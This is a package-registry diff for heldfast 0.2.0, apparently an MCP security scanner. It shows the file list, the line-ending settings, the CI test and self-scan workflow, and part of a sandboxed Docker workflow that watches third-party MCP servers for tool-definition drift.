heldfast 0.2.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (220) hide show
  1. heldfast-0.2.0/.gitattributes +8 -0
  2. heldfast-0.2.0/.github/workflows/ci.yml +236 -0
  3. heldfast-0.2.0/.github/workflows/feed.yml +226 -0
  4. heldfast-0.2.0/.github/workflows/release.yml +118 -0
  5. heldfast-0.2.0/.gitignore +25 -0
  6. heldfast-0.2.0/.pre-commit-hooks.yaml +14 -0
  7. heldfast-0.2.0/CONTRIBUTING.md +74 -0
  8. heldfast-0.2.0/LICENSE +202 -0
  9. heldfast-0.2.0/PKG-INFO +362 -0
  10. heldfast-0.2.0/PRIVACY.md +42 -0
  11. heldfast-0.2.0/README.md +339 -0
  12. heldfast-0.2.0/SECURITY.md +24 -0
  13. heldfast-0.2.0/action.yml +160 -0
  14. heldfast-0.2.0/docs/CHURN.md +228 -0
  15. heldfast-0.2.0/docs/CLIENTS.md +25 -0
  16. heldfast-0.2.0/docs/COMPARE.md +22 -0
  17. heldfast-0.2.0/docs/GUARANTEES.md +196 -0
  18. heldfast-0.2.0/docs/HANDOFF.md +429 -0
  19. heldfast-0.2.0/docs/LOCK.md +120 -0
  20. heldfast-0.2.0/docs/LOOKUP.md +90 -0
  21. heldfast-0.2.0/docs/MANUAL.md +1571 -0
  22. heldfast-0.2.0/docs/SCAN.md +183 -0
  23. heldfast-0.2.0/docs/TOOL-POISONING.md +192 -0
  24. heldfast-0.2.0/docs/TRANSPARENCY.md +115 -0
  25. heldfast-0.2.0/docs/badge.svg +14 -0
  26. heldfast-0.2.0/docs/demo.gif +0 -0
  27. heldfast-0.2.0/docs/rules.md +660 -0
  28. heldfast-0.2.0/js/heldfast-check/README.md +15 -0
  29. heldfast-0.2.0/js/heldfast-check/bin.js +76 -0
  30. heldfast-0.2.0/js/heldfast-check/index.js +196 -0
  31. heldfast-0.2.0/js/heldfast-check/package.json +31 -0
  32. heldfast-0.2.0/js/heldfast-check/test.js +91 -0
  33. heldfast-0.2.0/js/heldfast-wrap/bin.js +58 -0
  34. heldfast-0.2.0/js/heldfast-wrap/package.json +17 -0
  35. heldfast-0.2.0/plugin/heldfast/.claude-plugin/plugin.json +9 -0
  36. heldfast-0.2.0/plugin/heldfast/README.md +17 -0
  37. heldfast-0.2.0/plugin/heldfast/hooks/hooks.json +26 -0
  38. heldfast-0.2.0/plugin/heldfast/scripts/lib.js +176 -0
  39. heldfast-0.2.0/plugin/heldfast/scripts/pre-tool-use.js +203 -0
  40. heldfast-0.2.0/plugin/heldfast/scripts/session-start.js +54 -0
  41. heldfast-0.2.0/pyproject.toml +49 -0
  42. heldfast-0.2.0/research/churn/.gitignore +6 -0
  43. heldfast-0.2.0/research/churn/Dockerfile +26 -0
  44. heldfast-0.2.0/research/churn/analyse.py +127 -0
  45. heldfast-0.2.0/research/churn/measure.py +351 -0
  46. heldfast-0.2.0/research/churn/official-servers.json +1156 -0
  47. heldfast-0.2.0/research/churn/sample.json +1706 -0
  48. heldfast-0.2.0/research/churn/sample.py +228 -0
  49. heldfast-0.2.0/research/churn/suspicious.json +485 -0
  50. heldfast-0.2.0/research/churn/suspicious.py +139 -0
  51. heldfast-0.2.0/research/churn/wide.json.gz +0 -0
  52. heldfast-0.2.0/research/feed/Dockerfile +26 -0
  53. heldfast-0.2.0/research/feed/watch.py +1014 -0
  54. heldfast-0.2.0/research/scan/.gitignore +2 -0
  55. heldfast-0.2.0/research/scan/scan.py +119 -0
  56. heldfast-0.2.0/src/heldfast/__init__.py +7 -0
  57. heldfast-0.2.0/src/heldfast/__main__.py +4 -0
  58. heldfast-0.2.0/src/heldfast/advisories.py +220 -0
  59. heldfast-0.2.0/src/heldfast/artifacts.py +257 -0
  60. heldfast-0.2.0/src/heldfast/auditlog.py +544 -0
  61. heldfast-0.2.0/src/heldfast/check.py +43 -0
  62. heldfast-0.2.0/src/heldfast/childenv.py +177 -0
  63. heldfast-0.2.0/src/heldfast/cli.py +1207 -0
  64. heldfast-0.2.0/src/heldfast/cli_parser.py +596 -0
  65. heldfast-0.2.0/src/heldfast/clients.py +244 -0
  66. heldfast-0.2.0/src/heldfast/confusables.py +129 -0
  67. heldfast-0.2.0/src/heldfast/coverage.py +386 -0
  68. heldfast-0.2.0/src/heldfast/digest.py +203 -0
  69. heldfast-0.2.0/src/heldfast/discovery.py +241 -0
  70. heldfast-0.2.0/src/heldfast/driftgrade.py +146 -0
  71. heldfast-0.2.0/src/heldfast/enforcement.py +106 -0
  72. heldfast-0.2.0/src/heldfast/feedlock.py +160 -0
  73. heldfast-0.2.0/src/heldfast/fetch.py +153 -0
  74. heldfast-0.2.0/src/heldfast/findings.py +143 -0
  75. heldfast-0.2.0/src/heldfast/gateway.py +937 -0
  76. heldfast-0.2.0/src/heldfast/guard.py +1756 -0
  77. heldfast-0.2.0/src/heldfast/identity.py +200 -0
  78. heldfast-0.2.0/src/heldfast/inspect.py +157 -0
  79. heldfast-0.2.0/src/heldfast/integrity.py +203 -0
  80. heldfast-0.2.0/src/heldfast/jsscan.py +681 -0
  81. heldfast-0.2.0/src/heldfast/lifetime.py +129 -0
  82. heldfast-0.2.0/src/heldfast/llm.py +334 -0
  83. heldfast-0.2.0/src/heldfast/lockfile.py +332 -0
  84. heldfast-0.2.0/src/heldfast/lookup.py +115 -0
  85. heldfast-0.2.0/src/heldfast/model.py +266 -0
  86. heldfast-0.2.0/src/heldfast/parsers.py +252 -0
  87. heldfast-0.2.0/src/heldfast/pkgcache.py +541 -0
  88. heldfast-0.2.0/src/heldfast/policy.py +650 -0
  89. heldfast-0.2.0/src/heldfast/probe.py +532 -0
  90. heldfast-0.2.0/src/heldfast/report/__init__.py +5 -0
  91. heldfast-0.2.0/src/heldfast/report/json_out.py +54 -0
  92. heldfast-0.2.0/src/heldfast/report/sarif.py +147 -0
  93. heldfast-0.2.0/src/heldfast/report/terminal.py +153 -0
  94. heldfast-0.2.0/src/heldfast/resultscreen.py +99 -0
  95. heldfast-0.2.0/src/heldfast/review.py +215 -0
  96. heldfast-0.2.0/src/heldfast/rule_docs.py +715 -0
  97. heldfast-0.2.0/src/heldfast/rules/__init__.py +10 -0
  98. heldfast-0.2.0/src/heldfast/rules/annotations.py +236 -0
  99. heldfast-0.2.0/src/heldfast/rules/base.py +97 -0
  100. heldfast-0.2.0/src/heldfast/rules/composition.py +306 -0
  101. heldfast-0.2.0/src/heldfast/rules/credentials.py +188 -0
  102. heldfast-0.2.0/src/heldfast/rules/drift.py +761 -0
  103. heldfast-0.2.0/src/heldfast/rules/environment.py +301 -0
  104. heldfast-0.2.0/src/heldfast/rules/execution.py +554 -0
  105. heldfast-0.2.0/src/heldfast/rules/poisoning.py +701 -0
  106. heldfast-0.2.0/src/heldfast/rules/presentation.py +163 -0
  107. heldfast-0.2.0/src/heldfast/rules/transport.py +380 -0
  108. heldfast-0.2.0/src/heldfast/secrets.py +108 -0
  109. heldfast-0.2.0/src/heldfast/server.py +449 -0
  110. heldfast-0.2.0/src/heldfast/sessions.py +278 -0
  111. heldfast-0.2.0/src/heldfast/sourcescan.py +462 -0
  112. heldfast-0.2.0/src/heldfast/status.py +356 -0
  113. heldfast-0.2.0/src/heldfast/suppressions.py +144 -0
  114. heldfast-0.2.0/src/heldfast/textdiff.py +168 -0
  115. heldfast-0.2.0/src/heldfast/transparency.py +232 -0
  116. heldfast-0.2.0/src/heldfast/updates.py +257 -0
  117. heldfast-0.2.0/tests/fake_advisories.py +57 -0
  118. heldfast-0.2.0/tests/fake_npm_cache.py +108 -0
  119. heldfast-0.2.0/tests/fixtures/fake_server.py +190 -0
  120. heldfast-0.2.0/tests/fixtures/hostile_server.py +148 -0
  121. heldfast-0.2.0/tests/fixtures/http_server.py +160 -0
  122. heldfast-0.2.0/tests/fixtures/make_fixtures.py +205 -0
  123. heldfast-0.2.0/tests/fixtures/modern_server.py +69 -0
  124. heldfast-0.2.0/tests/fixtures/rugpull/.mcp.json +11 -0
  125. heldfast-0.2.0/tests/fixtures/stub_signer.py +68 -0
  126. heldfast-0.2.0/tests/golden/jcs_vectors.json +77 -0
  127. heldfast-0.2.0/tests/golden/tools/01-minimal.json +7 -0
  128. heldfast-0.2.0/tests/golden/tools/02-description.json +8 -0
  129. heldfast-0.2.0/tests/golden/tools/03-title.json +9 -0
  130. heldfast-0.2.0/tests/golden/tools/04-schema-key-order-a.json +19 -0
  131. heldfast-0.2.0/tests/golden/tools/05-schema-key-order-b.json +19 -0
  132. heldfast-0.2.0/tests/golden/tools/06-annotations.json +12 -0
  133. heldfast-0.2.0/tests/golden/tools/07-output-schema.json +16 -0
  134. heldfast-0.2.0/tests/golden/tools/08-icons.json +14 -0
  135. heldfast-0.2.0/tests/golden/tools/09-unicode.json +9 -0
  136. heldfast-0.2.0/tests/golden/tools/10-rug-was.json +16 -0
  137. heldfast-0.2.0/tests/golden/tools/11-rug-now.json +16 -0
  138. heldfast-0.2.0/tests/golden/tools/12-wire-spelling.json +14 -0
  139. heldfast-0.2.0/tests/golden/tools/13-alias-null-input.json +17 -0
  140. heldfast-0.2.0/tests/golden/tools/14-alias-null-output.json +15 -0
  141. heldfast-0.2.0/tests/golden/traces/elicitation-deny.json +12 -0
  142. heldfast-0.2.0/tests/golden/traces/gateway-allow.json +29 -0
  143. heldfast-0.2.0/tests/golden/traces/gateway-deny.json +16 -0
  144. heldfast-0.2.0/tests/golden/traces/guard-allow.json +5 -0
  145. heldfast-0.2.0/tests/golden/traces/guard-deny.json +17 -0
  146. heldfast-0.2.0/tests/golden/traces/hostile-stdout-before-frame.json +31 -0
  147. heldfast-0.2.0/tests/golden/traces/result-fence.json +6 -0
  148. heldfast-0.2.0/tests/golden/traces/rewrite-after-2-calls.json +18 -0
  149. heldfast-0.2.0/tests/golden/traces/roots-deny.json +12 -0
  150. heldfast-0.2.0/tests/golden/traces/sampling-deny.json +12 -0
  151. heldfast-0.2.0/tests/golden/traces/sampling-forward.json +5 -0
  152. heldfast-0.2.0/tests/golden/vulnerable_rule_ids.txt +11 -0
  153. heldfast-0.2.0/tests/mutants.py +2162 -0
  154. heldfast-0.2.0/tests/test_artifacts.py +197 -0
  155. heldfast-0.2.0/tests/test_attack_corpus.py +534 -0
  156. heldfast-0.2.0/tests/test_auditlog.py +468 -0
  157. heldfast-0.2.0/tests/test_bypass.py +166 -0
  158. heldfast-0.2.0/tests/test_childenv.py +266 -0
  159. heldfast-0.2.0/tests/test_composition.py +269 -0
  160. heldfast-0.2.0/tests/test_coverage.py +376 -0
  161. heldfast-0.2.0/tests/test_digest_parity.py +198 -0
  162. heldfast-0.2.0/tests/test_discovery.py +217 -0
  163. heldfast-0.2.0/tests/test_drift_graded.py +225 -0
  164. heldfast-0.2.0/tests/test_end_to_end.py +227 -0
  165. heldfast-0.2.0/tests/test_environment.py +247 -0
  166. heldfast-0.2.0/tests/test_evasions.py +193 -0
  167. heldfast-0.2.0/tests/test_feed.py +536 -0
  168. heldfast-0.2.0/tests/test_feedlock.py +232 -0
  169. heldfast-0.2.0/tests/test_fetch.py +339 -0
  170. heldfast-0.2.0/tests/test_function_size.py +45 -0
  171. heldfast-0.2.0/tests/test_gateway.py +238 -0
  172. heldfast-0.2.0/tests/test_gateway_http.py +270 -0
  173. heldfast-0.2.0/tests/test_gateway_parity.py +425 -0
  174. heldfast-0.2.0/tests/test_golden_findings.py +117 -0
  175. heldfast-0.2.0/tests/test_golden_traces.py +377 -0
  176. heldfast-0.2.0/tests/test_guarantees.py +126 -0
  177. heldfast-0.2.0/tests/test_guard.py +919 -0
  178. heldfast-0.2.0/tests/test_guard_catalogue.py +184 -0
  179. heldfast-0.2.0/tests/test_guard_requests.py +451 -0
  180. heldfast-0.2.0/tests/test_heldfast.py +747 -0
  181. heldfast-0.2.0/tests/test_hostile.py +242 -0
  182. heldfast-0.2.0/tests/test_icons.py +190 -0
  183. heldfast-0.2.0/tests/test_identity.py +380 -0
  184. heldfast-0.2.0/tests/test_inspect_docs.py +539 -0
  185. heldfast-0.2.0/tests/test_integrity.py +408 -0
  186. heldfast-0.2.0/tests/test_jsscan.py +423 -0
  187. heldfast-0.2.0/tests/test_kernel_properties.py +126 -0
  188. heldfast-0.2.0/tests/test_llm.py +301 -0
  189. heldfast-0.2.0/tests/test_lock_spec.py +91 -0
  190. heldfast-0.2.0/tests/test_log_signing.py +227 -0
  191. heldfast-0.2.0/tests/test_lookup.py +164 -0
  192. heldfast-0.2.0/tests/test_malformed_input.py +170 -0
  193. heldfast-0.2.0/tests/test_mutation.py +150 -0
  194. heldfast-0.2.0/tests/test_output_integrity.py +205 -0
  195. heldfast-0.2.0/tests/test_output_schema.py +183 -0
  196. heldfast-0.2.0/tests/test_pkgcache.py +389 -0
  197. heldfast-0.2.0/tests/test_plugin.py +282 -0
  198. heldfast-0.2.0/tests/test_policy.py +391 -0
  199. heldfast-0.2.0/tests/test_policy_evasions.py +346 -0
  200. heldfast-0.2.0/tests/test_portability.py +205 -0
  201. heldfast-0.2.0/tests/test_probe_boundary.py +169 -0
  202. heldfast-0.2.0/tests/test_protocol_era.py +94 -0
  203. heldfast-0.2.0/tests/test_real_tool_text.py +289 -0
  204. heldfast-0.2.0/tests/test_registry_precision.py +153 -0
  205. heldfast-0.2.0/tests/test_result_screen.py +167 -0
  206. heldfast-0.2.0/tests/test_result_theorems.py +82 -0
  207. heldfast-0.2.0/tests/test_review.py +246 -0
  208. heldfast-0.2.0/tests/test_review_round2.py +305 -0
  209. heldfast-0.2.0/tests/test_server.py +387 -0
  210. heldfast-0.2.0/tests/test_sessions.py +291 -0
  211. heldfast-0.2.0/tests/test_sourcescan.py +373 -0
  212. heldfast-0.2.0/tests/test_status.py +318 -0
  213. heldfast-0.2.0/tests/test_surfaces.py +512 -0
  214. heldfast-0.2.0/tests/test_textdiff.py +254 -0
  215. heldfast-0.2.0/tests/test_transparency.py +222 -0
  216. heldfast-0.2.0/tests/test_updates.py +276 -0
  217. heldfast-0.2.0/tests/test_version_sync.py +67 -0
  218. heldfast-0.2.0/tests/test_wire_shape.py +198 -0
  219. heldfast-0.2.0/tests/test_wrap_check.py +110 -0
  220. heldfast-0.2.0/updates/action.yml +202 -0
@@ -0,0 +1,8 @@
1
+ # Normalize to LF in the repository. This project ships a CI matrix across
2
+ # Linux, macOS and Windows, and the scanner reads config files byte-for-byte,
3
+ # so mixed line endings would show up as spurious diffs and fixture churn.
4
+ * text=auto eol=lf
5
+
6
+ *.png binary
7
+ *.jpg binary
8
+ *.sarif text eol=lf
@@ -0,0 +1,236 @@
1
+ name: ci
2
+
3
+ on:
4
+ push:
5
+ branches: [main]
6
+ pull_request:
7
+
8
+ jobs:
9
+ test:
10
+ strategy:
11
+ fail-fast: false
12
+ matrix:
13
+ os: [ubuntu-latest, macos-latest, windows-latest]
14
+ python: ["3.9", "3.12", "3.13"]
15
+ runs-on: ${{ matrix.os }}
16
+ steps:
17
+ - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
18
+ - uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0
19
+ with:
20
+ python-version: ${{ matrix.python }}
21
+ - name: Generate fixtures
22
+ run: python tests/fixtures/make_fixtures.py
23
+ # A SyntaxWarning is invisible once bytecode is cached, so it only shows
24
+ # on a cold compile -- which is exactly what a fresh `pipx install` or a
25
+ # `uvx` run does. The one that got through was an invalid escape in a
26
+ # docstring, which becomes a hard SyntaxError in Python 3.15: a warning
27
+ # today and a broken package later. Runs before the suite, because a file
28
+ # that will not compile is not worth testing.
29
+ - name: Compile with warnings as errors
30
+ shell: bash
31
+ run: |
32
+ find . -name __pycache__ -type d -prune -exec rm -rf {} + || true
33
+ python -W error::SyntaxWarning -m compileall -q src tests
34
+
35
+ # Failing test names are emitted as annotations, not just logged. Reading
36
+ # a job's log needs a signed-in session with rights on the repository;
37
+ # annotations are readable from the public API. So a red run on an OS
38
+ # nobody has to hand was diagnosable only by guessing, which cost a
39
+ # round of exactly that.
40
+ #
41
+ # The exit status is captured in a variable rather than piped: a pipeline
42
+ # takes the status of its last command, and letting the suite's status
43
+ # through a pipe once put a red commit on main.
44
+ - name: Test
45
+ shell: bash
46
+ run: |
47
+ set +e
48
+ python -m unittest discover -s tests -v > test-output.txt 2>&1
49
+ status=$?
50
+ tail -n 60 test-output.txt
51
+ if [ "$status" -ne 0 ]; then
52
+ grep -E '^(FAIL|ERROR):' test-output.txt | while read -r line; do
53
+ echo "::error::$line"
54
+ done
55
+ grep -E '^(AssertionError|[A-Za-z]*Error):' test-output.txt \
56
+ | head -n 5 | while read -r line; do
57
+ echo "::error::$line"
58
+ done
59
+ fi
60
+ exit "$status"
61
+
62
+ - name: Golden tool digests (JS)
63
+ shell: bash
64
+ run: node js/heldfast-check/bin.js --golden tests/golden/tools
65
+
66
+ # The canonicalization contract, asserted from the JavaScript side.
67
+ # The Python half lives in tests/test_digest_parity.py and shells out
68
+ # to compare; this step runs even where that test skips for want of
69
+ # node, so a JS-only regression cannot reach a release.
70
+ - name: JCS vectors (JS)
71
+ shell: bash
72
+ run: node js/heldfast-check/test.js
73
+
74
+ # Types on the four kernels only. The rest of the tree is not blocked
75
+ # on day one: a lie about Policy.check's return value is the failure
76
+ # this job exists to catch, not an untyped helper in cli.py.
77
+ types:
78
+ runs-on: ubuntu-latest
79
+ steps:
80
+ - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
81
+ - uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0
82
+ with:
83
+ python-version: "3.12"
84
+ - name: Type-check the kernels
85
+ run: |
86
+ python -m pip install --quiet mypy
87
+ python -m mypy --strict \
88
+ src/heldfast/policy.py \
89
+ src/heldfast/lockfile.py \
90
+ src/heldfast/model.py \
91
+ src/heldfast/findings.py \
92
+ src/heldfast/pkgcache.py \
93
+ src/heldfast/auditlog.py \
94
+ src/heldfast/confusables.py \
95
+ src/heldfast/digest.py
96
+
97
+ # The default matrix runs without the optional extra, so the wire-shape
98
+ # tests skip there. This job installs it so the classifier's request is
99
+ # actually checked against the real SDK. It still makes no API call -- the
100
+ # SDK is pointed at a local stub server.
101
+ wire-shape:
102
+ runs-on: ubuntu-latest
103
+ steps:
104
+ - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
105
+ - uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0
106
+ with:
107
+ python-version: "3.12"
108
+ - name: Install the llm extra
109
+ run: python -m pip install --quiet ".[llm]"
110
+ - name: Verify the classifier request shape
111
+ run: python -m unittest tests.test_wire_shape -v
112
+
113
+ # Exercises action.yml itself. Nothing else in this repo runs it, and an
114
+ # action that has never executed is an action that does not work.
115
+ action:
116
+ runs-on: ubuntu-latest
117
+ steps:
118
+ - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
119
+ - uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0
120
+ with:
121
+ python-version: "3.12"
122
+ - name: Generate fixtures
123
+ run: python tests/fixtures/make_fixtures.py
124
+
125
+ - name: Run against a clean tree
126
+ id: clean
127
+ uses: ./
128
+ with:
129
+ path: tests/fixtures/clean
130
+ format: json
131
+ output: clean.json
132
+ upload-sarif: "false"
133
+ fail-on: high
134
+
135
+ - name: Clean tree must report nothing
136
+ env:
137
+ FINDINGS: ${{ steps.clean.outputs.findings }}
138
+ HIGHEST: ${{ steps.clean.outputs.highest-severity }}
139
+ run: |
140
+ test "$FINDINGS" = "0" || { echo "expected 0 findings, got $FINDINGS"; exit 1; }
141
+ test "$HIGHEST" = "none" || { echo "expected none, got $HIGHEST"; exit 1; }
142
+ test -f clean.json || { echo "report file was not written"; exit 1; }
143
+ echo "clean tree passed and wrote its report"
144
+
145
+ - name: Run against a vulnerable tree
146
+ id: vuln
147
+ continue-on-error: true
148
+ uses: ./
149
+ with:
150
+ path: tests/fixtures/vulnerable
151
+ format: sarif
152
+ output: vuln.sarif
153
+ upload-sarif: "false"
154
+ fail-on: high
155
+
156
+ - name: Gate must have failed, and the SARIF must still exist
157
+ env:
158
+ OUTCOME: ${{ steps.vuln.outcome }}
159
+ FINDINGS: ${{ steps.vuln.outputs.findings }}
160
+ HIGHEST: ${{ steps.vuln.outputs.highest-severity }}
161
+ run: |
162
+ test "$OUTCOME" = "failure" || { echo "gate did not fire on a vulnerable tree"; exit 1; }
163
+ test "$HIGHEST" = "critical" || { echo "expected critical, got $HIGHEST"; exit 1; }
164
+ test -f vuln.sarif || { echo "a failing gate must still leave the report"; exit 1; }
165
+ python -c "import json;d=json.load(open('vuln.sarif'));assert d['version']=='2.1.0';print(len(d['runs'][0]['results']),'SARIF results')"
166
+ echo "gate fired correctly with $FINDINGS finding(s)"
167
+
168
+ # The updates action, run for real against the live feed: a project pinned
169
+ # to an older release is approved from the feed, then the action reports
170
+ # and applies. No pull request or issue is opened from CI.
171
+ updates-action:
172
+ runs-on: ubuntu-latest
173
+ steps:
174
+ - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
175
+ - uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0
176
+ with:
177
+ python-version: "3.12"
178
+ - name: A project pinned to an older release
179
+ run: |
180
+ set -euo pipefail
181
+ mkdir -p "$RUNNER_TEMP/proj"
182
+ printf '{"mcpServers": {"sentry": {"command": "npx", "args": ["-y", "@sentry/mcp-server@0.36.0"]}}}\n' \
183
+ > "$RUNNER_TEMP/proj/.mcp.json"
184
+ python -m pip install --quiet .
185
+ heldfast approve --from-feed "$RUNNER_TEMP/proj" --no-user-configs --no-skills
186
+ - name: Run the action
187
+ id: updates
188
+ uses: ./updates
189
+ with:
190
+ path: ${{ runner.temp }}/proj
191
+ open-pr: "false"
192
+ open-issue: "false"
193
+ - name: It reported, and applied what was quiet
194
+ env:
195
+ QUIET: ${{ steps.updates.outputs.quiet }}
196
+ REVIEW: ${{ steps.updates.outputs.review }}
197
+ WAITING: ${{ steps.updates.outputs.waiting }}
198
+ BLOCKED: ${{ steps.updates.outputs.blocked }}
199
+ MALWARE: ${{ steps.updates.outputs.malware }}
200
+ run: |
201
+ set -euo pipefail
202
+ echo "quiet=$QUIET review=$REVIEW waiting=$WAITING blocked=$BLOCKED malware=$MALWARE"
203
+ test -n "$QUIET" && test -n "$REVIEW" && test "$MALWARE" = "0"
204
+ test "$((QUIET + REVIEW + WAITING + BLOCKED))" -ge 1
205
+ if [ "$QUIET" != "0" ]; then
206
+ ! grep -q '@sentry/mcp-server@0.36.0' "$RUNNER_TEMP/proj/.mcp.json"
207
+ fi
208
+
209
+ self-scan:
210
+ runs-on: ubuntu-latest
211
+ permissions:
212
+ contents: read
213
+ security-events: write
214
+ steps:
215
+ - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
216
+ - uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0
217
+ with:
218
+ python-version: "3.12"
219
+ - name: Scan this repository
220
+ run: |
221
+ python tests/fixtures/make_fixtures.py
222
+ # The fixtures are the attack corpus. Uploading them as
223
+ # code-scanning alerts is how a scanner's own tests show up as
224
+ # holes in the product.
225
+ PYTHONPATH=src python -m heldfast scan . --exclude tests \
226
+ --no-user-configs --format sarif --output heldfast.sarif --fail-on never
227
+ - uses: github/codeql-action/upload-sarif@fca7ace96b7d713c7035871441bd52efbe39e27e # v3.28.19
228
+ with:
229
+ sarif_file: heldfast.sarif
230
+ category: heldfast
231
+ # Same empty report under the pre-rename category, or GitHub keeps
232
+ # those alerts open as a second analysis.
233
+ - uses: github/codeql-action/upload-sarif@fca7ace96b7d713c7035871441bd52efbe39e27e # v3.28.19
234
+ with:
235
+ sarif_file: heldfast.sarif
236
+ category: mcp-audit
@@ -0,0 +1,226 @@
1
+ # The drift feed: which MCP servers changed a tool definition, release by
2
+ # release, across the official MCP registry. research/feed/watch.py does the
3
+ # work; the record lives on the `feed` branch (README.md, feed.xml, events/,
4
+ # index.json, catalogues/).
5
+ #
6
+ # The jobs that run or contact other people's servers cannot write:
7
+ #
8
+ # measure-npm 16 shards. Each launches today's due npm servers inside
9
+ # research/feed/Dockerfile (no capabilities, no host env),
10
+ # read-only token, credentials not persisted. Uploads only
11
+ # the files it changed.
12
+ # measure-remote 4 shards. Reads hosted endpoints' tool lists over HTTPS.
13
+ # Nothing is executed; same isolation anyway.
14
+ # publish The only job that can write, and it runs nothing a server
15
+ # wrote: it takes each shard's upload only for the servers
16
+ # the feed branch's watchlist gave that shard, checks every
17
+ # file against the names, sizes and formats the feed produces
18
+ # (with the code from main), folds the events, renders,
19
+ # verifies again, commits.
20
+ # sync Weekly. Rebuilds the watchlist from the registry. Reads
21
+ # JSON, launches nothing, writes only watchlist.json.
22
+ name: feed
23
+
24
+ on:
25
+ schedule:
26
+ - cron: "23 6 * * *" # measure
27
+ - cron: "3 5 * * 1" # sync the watchlist, Mondays
28
+ workflow_dispatch:
29
+ inputs:
30
+ sync:
31
+ description: "Rebuild the watchlist from the registry instead of measuring"
32
+ type: boolean
33
+ default: false
34
+ push:
35
+ branches: [main]
36
+ paths: ["research/feed/**", ".github/workflows/feed.yml"]
37
+
38
+ permissions:
39
+ contents: read
40
+
41
+ concurrency:
42
+ group: feed
43
+ cancel-in-progress: false
44
+
45
+ jobs:
46
+ sync:
47
+ if: github.event.schedule == '3 5 * * 1' || inputs.sync
48
+ runs-on: ubuntu-latest
49
+ timeout-minutes: 60
50
+ permissions:
51
+ contents: write
52
+ steps:
53
+ - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
54
+ with:
55
+ path: tool
56
+ persist-credentials: false
57
+ - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
58
+ with:
59
+ ref: feed
60
+ path: feed-data
61
+ - name: Rebuild the watchlist from the registry
62
+ run: python3 tool/research/feed/watch.py sync --data feed-data
63
+ - name: Verify
64
+ run: python3 tool/research/feed/watch.py verify --data feed-data
65
+ - name: Commit
66
+ run: |
67
+ set -euo pipefail
68
+ cd feed-data
69
+ git config user.name "heldfast feed"
70
+ git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
71
+ git add watchlist.json
72
+ if git diff --cached --quiet; then echo "watchlist unchanged"; exit 0; fi
73
+ git commit -q -m "feed: watchlist $(date -u +%Y-%m-%d)"
74
+ git push origin HEAD:feed
75
+
76
+ measure-npm:
77
+ if: github.event.schedule != '3 5 * * 1' && !inputs.sync
78
+ runs-on: ubuntu-latest
79
+ timeout-minutes: 300
80
+ permissions:
81
+ contents: read
82
+ strategy:
83
+ fail-fast: false
84
+ matrix:
85
+ shard: [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]
86
+ steps:
87
+ - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
88
+ with:
89
+ persist-credentials: false
90
+ - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
91
+ with:
92
+ ref: feed
93
+ path: feed-data
94
+ persist-credentials: false
95
+ - name: Build the isolate
96
+ run: docker build -f research/feed/Dockerfile -t heldfast-feed .
97
+ # Two servers at a time, at most 120 launches per shard per day. Six in
98
+ # parallel took down the workstation the churn study first ran on; the
99
+ # budget keeps a day with many new releases inside the job's time limit.
100
+ - name: Measure today's due npm servers
101
+ run: |
102
+ docker run --rm --cap-drop ALL --security-opt no-new-privileges \
103
+ --memory 6g --cpus 2 --pids-limit 2048 --user "$(id -u):$(id -g)" \
104
+ -v "$PWD/feed-data:/data" heldfast-feed \
105
+ check --data /data --jobs 2 --budget 120 \
106
+ --shard "${{ matrix.shard }}/16" --label "npm-${{ matrix.shard }}"
107
+ # Also after a failed measuring step: what was measured before it failed
108
+ # is still worth publishing, and the publish job verifies it either way.
109
+ - name: Collect what changed
110
+ if: always()
111
+ run: |
112
+ set -euo pipefail
113
+ git -C feed-data ls-files -m -o --exclude-standard > changed.txt
114
+ mkdir -p delta
115
+ rsync -a --files-from=changed.txt feed-data/ delta/
116
+ echo "$(wc -l < changed.txt) file(s) changed"
117
+ - uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2
118
+ if: always()
119
+ with:
120
+ name: feed-delta-npm-${{ matrix.shard }}
121
+ path: delta
122
+ include-hidden-files: false
123
+ retention-days: 3
124
+ if-no-files-found: ignore
125
+
126
+ measure-remote:
127
+ if: github.event.schedule != '3 5 * * 1' && !inputs.sync
128
+ runs-on: ubuntu-latest
129
+ timeout-minutes: 120
130
+ permissions:
131
+ contents: read
132
+ strategy:
133
+ fail-fast: false
134
+ matrix:
135
+ shard: [0, 1, 2, 3]
136
+ steps:
137
+ - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
138
+ with:
139
+ persist-credentials: false
140
+ - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
141
+ with:
142
+ ref: feed
143
+ path: feed-data
144
+ persist-credentials: false
145
+ - name: Build the isolate
146
+ run: docker build -f research/feed/Dockerfile -t heldfast-feed .
147
+ - name: Read hosted endpoints
148
+ run: |
149
+ docker run --rm --cap-drop ALL --security-opt no-new-privileges \
150
+ --memory 2g --cpus 2 --pids-limit 512 --user "$(id -u):$(id -g)" \
151
+ -v "$PWD/feed-data:/data" heldfast-feed \
152
+ check-remote --data /data --jobs 8 \
153
